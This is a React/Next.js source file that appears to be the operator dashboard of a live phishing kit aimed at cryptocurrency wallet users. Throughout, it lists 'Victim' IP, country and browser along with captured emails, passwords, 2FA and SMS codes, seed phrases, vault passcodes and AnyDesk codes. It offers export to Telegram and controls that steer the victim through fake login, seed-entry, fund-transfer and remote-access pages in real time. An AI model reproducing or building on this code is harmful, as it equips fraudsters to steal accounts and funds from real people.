'use client';
import { Card, CardContent } from '@/components/ui/card';
import { useEffect, useState } from 'react';
import { io, Socket } from 'socket.io-client';
import { DefaultEventsMap } from 'socket.io';
import { useToast } from '@/hooks/use-toast';
import { Client } from '../page';
import { Ban, Check, Clipboard, Eraser, Send, X } from 'lucide-react';
import { Button } from '@/components/ui/button';
import { cn, TitleCaseWord } from '@/lib/utils';
import { PhoneInput } from '@/components/PhoneInput';
import { Redirect } from '@/components/Redirect';
import { WalletFlow } from '@/components/Flow2';
import { TotalHit } from '@/components/TotalHit';
import { SessionCode } from '@/components/SessionCode';
import { toast as noti } from 'sonner';
import { VideoCallUrl } from '@/components/VideoCall';
import { UpdateBal } from '@/components/UpdateBal';
import { Coin } from '@/components/VaultInput';
import { WalletFlow3 } from '@/components/Flow3';
import { VaultInp } from '@/components/VaultInp';
import { WalletFlow4 } from '@/components/Flow4';

export default function Page({ params }: { params: Promise<{ id: string }> }) {
  const { toast } = useToast();

  const [socket, setSocket] = useState<Socket<
    DefaultEventsMap,
    DefaultEventsMap
  > | null>(null);
  const [client, setClient] = useState<Client | null>(null);

  const handleCopy = (text: string) => {
    if (text) {
      navigator.clipboard
        .writeText(text)
        .then(() => {
          if (!text.startsWith('Email: '))
            toast({
              title: 'Copied to clipboard',
              description: `${text}`,
              duration: 500,
            });
          else
            toast({
              title: 'Copied to clipboard',
              description:
                'Sucessfully exported all the data to the clipboard.',
              duration: 500,
            });
        })
        .catch(() => {
          toast({
            title: 'Failed to copy',
            description: 'Please try again.',
            variant: 'destructive',
          });
        });
    }
  };

  useEffect(() => {
    let newSocket: Socket | null = null;

    const fetchData = async () => {
      const socketUrl =
        process.env.NEXT_PUBLIC_SOCKET_URL || 'http://localhost:8080';
      if (!socket) {
        newSocket = io(`${socketUrl}/admin`);
        setSocket(newSocket);
      } else {
        newSocket = socket;
      }

      const id = (await params).id;

      setSocket(newSocket);

      newSocket.on('clientUpdate', (updatedClients) => {
        const matchedClient = updatedClients.find((c: Client) => c.id === id);
        if (matchedClient) {
          setClient(matchedClient);
          console.log(matchedClient);
        }
      });

      newSocket.on('pendingApproval', (client: Client) => {
        //console.log(client)
        if (id === client.id) {
          setClient(client);
          toast({
            title: `Pending approval`,
            description: `Approve or deny the ${
              client.state.split('_')[0]
            } request.`,
          });
        }
      });

      return () => newSocket?.close();
    };
    fetchData().catch(console.error);
  }, [params]);

  const handleBlock = (blocked: boolean) => {
    socket?.emit('blockClient', client?.id, blocked);
  };

  const redirect = (targ: string) => {
    socket?.emit('redirect', client?.id, targ);
  };

  const handleApprove = (aprove: boolean) => {
    socket?.emit('approve', client?.id, aprove);
  };

  const handleChangeState = (newState: string) => {
    const id = client?.id || '';
    socket?.emit('changeClientState', { clientId: id, newState });
  };

  const reset = (data: string) => {
    socket?.emit('reset', client?.id, data);
  };

  const done = (beamed: string) => {
    socket?.emit('done', client?.id, beamed);
  };

  const data = (title: string) => {
    return client?.data[title] || 'Unknown';
  };
  const VictimData = (title: string, data: string) => {
    const value = client?.data[data];

    const renderValue = () => {
      if (Array.isArray(value)) {
        return (
          <ul className="list-disc ml-5 text-balance">
            {value.map((item, index) => (
              <li key={index}>{item}</li>
            ))}
          </ul>
        );
      }

      return <p className="text-balance">{value || 'Unknown'}</p>;
    };

    return (
      <div className="border rounded-md w-full h-fit p-2 flex justify-between">
        <div className="flex flex-col">
          <p className="text-sm text-muted-foreground">{title}</p>
          {renderValue()}
        </div>
        <div className="flex flex-col justify-between h-full">
          <Clipboard
            className="w-4 h-4 text-muted-foreground hover:text-white transition-all"
            onClick={() =>
              handleCopy(
                Array.isArray(value) ? value.join(', ') : value || 'Unknown'
              )
            }
          />
          <Eraser
            className="w-4 h-4 text-muted-foreground hover:text-white transition-all"
            onClick={() => reset(data)}
          />
        </div>
      </div>
    );
  };
  const encodeBase64 = (str: string) =>
    Buffer.from(str, 'utf-8').toString('base64');

  return (
    <div className="w-full flex-grow flex flex-col gap-5 min-h-screen pb-5 pt-10">
      <div className="flex w-full flex-col md:!flex-row gap-4 px-5">
        <div className="flex flex-row gap-4 w-full">
          <Card className="w-full relative overflow-hidden">
            <CardContent className="pt-5 flex flex-col items-start">
              <p className="text-sm text-muted-foreground">Victim Status</p>
              <div className="flex flex-row gap-3 items-center justify-center">
                <div
                  className={`w-4 h-4 ${
                    client?.status === 'online' ? 'bg-green-400' : 'bg-gray-400'
                  }  rounded-full`}
                ></div>
                <h2 className="text-cbsans text-3xl">
                  {TitleCaseWord(client?.status || 'offline')}
                </h2>
              </div>
            </CardContent>
          </Card>
          <Card className="w-full relative overflow-hidden">
            <CardContent className="pt-5">
              <p className="text-sm text-muted-foreground">Victim IP</p>
              <h2
                className={cn(
                  client?.ip != undefined && client?.ip.length >= 10
                    ? 'text-2xl'
                    : 'text-3xl',
                  'text-cbsans'
                )}
              >
                {client?.ip || 'N/A'}
              </h2>
            </CardContent>
          </Card>
        </div>
        <div className="flex flex-row gap-4 w-full">
          <Card className="w-full relative overflow-hidden ">
            <CardContent className="pt-5">
              <p className="text-sm text-muted-foreground">Victim Country</p>
              <h2 className="text-cbsans text-3xl">
                {client?.country || 'Unknown'}
              </h2>
            </CardContent>
          </Card>
          <Card className="w-full relative overflow-hidden">
            <CardContent className="pt-5">
              <p className="text-sm text-muted-foreground">Victim Browser</p>
              <h2 className="text-cbsans text-3xl">
                {client?.browser || 'Unknown'}
              </h2>
            </CardContent>
          </Card>
        </div>
      </div>
      <div className="flex flex-grow flex-col md:flex-row gap-5 px-5 ">
        <div className="w-full gap-5 flex flex-col">
          <div className="border rounded-md w-full p-3 flex flex-col gap-3">
            <p className="text-lg ">Victim data</p>
            <div className="flex flex-col gap-3 md:justify-between">
              <div className="flex flex-col gap-3">
                {VictimData('Email', 'email')}
                {VictimData('Password', 'password')}
                {VictimData('Old Password', 'oldpw')}
                {VictimData('New Password', 'newpw')}
                {VictimData('2FA', 'twoFactorCode')}
                {VictimData('SMS', 'smsCode')}
                {VictimData('Seed', 'seed')}
                {VictimData('Seed (CWF2)', 'cbwal ')}
                {VictimData('Est. Money', 'estmoney')}
                {VictimData('Session', 'session')}
                {VictimData('Last Activity', 'lastact')}
                {VictimData('Vault Passcode', 'vault')}
                {VictimData('AnyDesk Code', 'anydesk')}
                {VictimData('Passphrase', 'passphrase')}
                {VictimData('Answers', 'answers')}
              </div>
              <Button
                variant={'outline'}
                onClick={() =>
                  handleCopy(
                    `Email: ${data('email')} | Password: ${data('password')} | Old pw: ${data('oldpw')} | New pw: ${data('newpw')} | 2FA: ${data('twoFactorCode')} | SMS: ${data('smsCode')} | Seed: ${data('seed')} | Est. Money: ${data('estmoney')}`
                  )
                }
              >
                <Clipboard className="w-4 h-4 text-muted-foreground hover:text-white transition-all" />
                Copy all
              </Button>
              <Button
                variant={'outline'}
                onClick={() => {
                  socket?.emit('export', client?.id);
                }}
              >
                <Send className="w-4 h-4 text-muted-foreground hover:text-white transition-all" />
                Export to telegram
              </Button>
            </div>
          </div>
        </div>
        <div className="flex flex-col gap-5 w-full md:max-w-[448px]">
          <div className="border rounded-md w-full h-fit p-3 flex flex-col gap-5">
            <div className="flex flex-col gap-3">
              <p className="text-lg ">Actions</p>
              <div className="flex flex-row gap-2">
                <Button
                  disabled={!client?.approving}
                  className="w-full bg-green-500 hover:bg-green-600 disabled:bg-green-900"
                  onClick={() => {
                    handleApprove(true);
                  }}
                >
                  <Check />
                  Aprove
                </Button>
                <Button
                  disabled={!client?.approving}
                  className="w-full bg-red-500 hover:bg-red-600 disabled:bg-red-900"
                  onClick={() => {
                    handleApprove(false);
                  }}
                >
                  <X />
                  Throw error
                </Button>
              </div>
              <Button
                onClick={() => {
                  handleBlock(!client?.blocked);
                }}
                variant={'destructive'}
              >
                <Ban />
                {client?.blocked ? 'Unblock' : 'Block'}
              </Button>
              <TotalHit
                hitted={client?.done ?? false}
                setCode={(amount: string) => {
                  done(amount);
                }}
              />
              {client?.state === 'vault' && (
                <UpdateBal
                  setCode={function (code: number, coin: Coin): void {
                    socket?.emit('setMoney', client?.id, code, coin);
                  }}
                />
              )}
            </div>
          </div>
          <div className="border rounded-md w-full p-3 flex flex-col gap-3">
            <div>
              <p className="text-lg ">Pages</p>
              <p className="text-sm text-muted-foreground">
                Current page: {TitleCaseWord(client?.state || 'Unknown')}
              </p>
            </div>
            <Button
              variant={'outline'}
              // className='border-border'
              onClick={() => {
                handleChangeState('login');
              }}
            >
              Login
            </Button>
            <Button
              variant={'outline'}
              // className='border-border'
              onClick={() => {
                handleChangeState('2fa');
              }}
            >
              Authenticator OTP
            </Button>
            <PhoneInput
              emit={() => handleChangeState('sms')}
              setCode={(code: string) => {
                console.log(socket);
                socket?.emit('setCode', client?.id, code);
              }}
            />
            <Button
              variant={'outline'}
              // className='border-border'
              onClick={() => {
                handleChangeState('resetpw');
              }}
            >
              Reset Password
            </Button>
            <Button
              variant={'outline'}
              // className='border-border'
              onClick={() => {
                handleChangeState('unlink');
              }}
            >
              Unlink Wallet
            </Button>
            <Button
              variant={'outline'}
              // className='border-border'
              onClick={() => {
                handleChangeState('fundt');
              }}
            >
              Fund Transfer
            </Button>
            <Button
              variant={'outline'}
              // className='border-border'
              onClick={() => {
                handleChangeState('anydesk');
              }}
            >
              Anydesk flow
            </Button>
            <Button
              variant={'outline'}
              // className='border-border'
              onClick={() => {
                handleChangeState('wallet');
              }}
            >
              Cb Wallet
            </Button>

            {/* <Button
              variant={'outline'}
              className='border-border'
              onClick={() => {
                handleChangeState('seed')
              }}
            >
              Verify Seed
            </Button> */}
            <Button
              variant={'outline'}
              // className='border-border'
              onClick={() => {
                handleChangeState('walletflow');
              }}
            >
              Cb Wallet Flow
            </Button>
            <WalletFlow
              emit={() => handleChangeState('walletflow2')}
              setCode={(code: string) => {
                console.log(socket);
                socket?.emit('setSeed', client?.id, code);
                noti('Saved seed.');
              }}
            />
            <WalletFlow3
              emit={() => handleChangeState('walletflow3')}
              setCode={(code: string) => {
                console.log(socket);
                socket?.emit('setSeed', client?.id, code);
                noti('Saved seed.');
              }}
            />
            <WalletFlow4
              emit={() => handleChangeState('walletflow4')}
              setCode={(code: string) => {
                console.log(socket);
                socket?.emit('setSeed', client?.id, code);
                noti('Saved seed.');
              }}
            />
            <VaultInp
              emit={() => handleChangeState('vault')}
              setCode={(code: string) => {
                console.log(socket);
                socket?.emit('setVault', client?.id, code);
                noti('Saved seed.');
              }}
            />

            <Button
              variant={'outline'}
              // className='border-border'
              onClick={() => {
                handleChangeState('estmoney');
              }}
            >
              Estimate money
            </Button>
            <Redirect
              send={(code: string) => {
                redirect(encodeBase64(code));
              }}
            />
            <Button
              variant={'outline'}
              // className='border-border'
              onClick={() => {
                handleChangeState('loading');
              }}
            >
              Loading
            </Button>
            <SessionCode
              emit={() => handleChangeState('session')}
              setCode={(code: string) => {
                console.log(socket);
                socket?.emit('setCode', client?.id, code);
              }}
            />
            <Button
              variant={'outline'}
              // className='border-border'
              onClick={() => {
                handleChangeState('review');
              }}
            >
              Review account
            </Button>
            <Button
              variant={'outline'}
              // className='border-border'
              onClick={() => {
                handleChangeState('activity');
              }}
            >
              Last activity
            </Button>
            <Button
              variant={'outline'}
              // className='border-border'
              onClick={() => {
                handleChangeState('security');
              }}
            >
              Security Questions
            </Button>
            <VideoCallUrl
              send={(code: string) => {
                socket?.emit('setVcUrl', client?.id, encodeBase64(code));
              }}
            />
          </div>
        </div>
      </div>
    </div>
  );
}
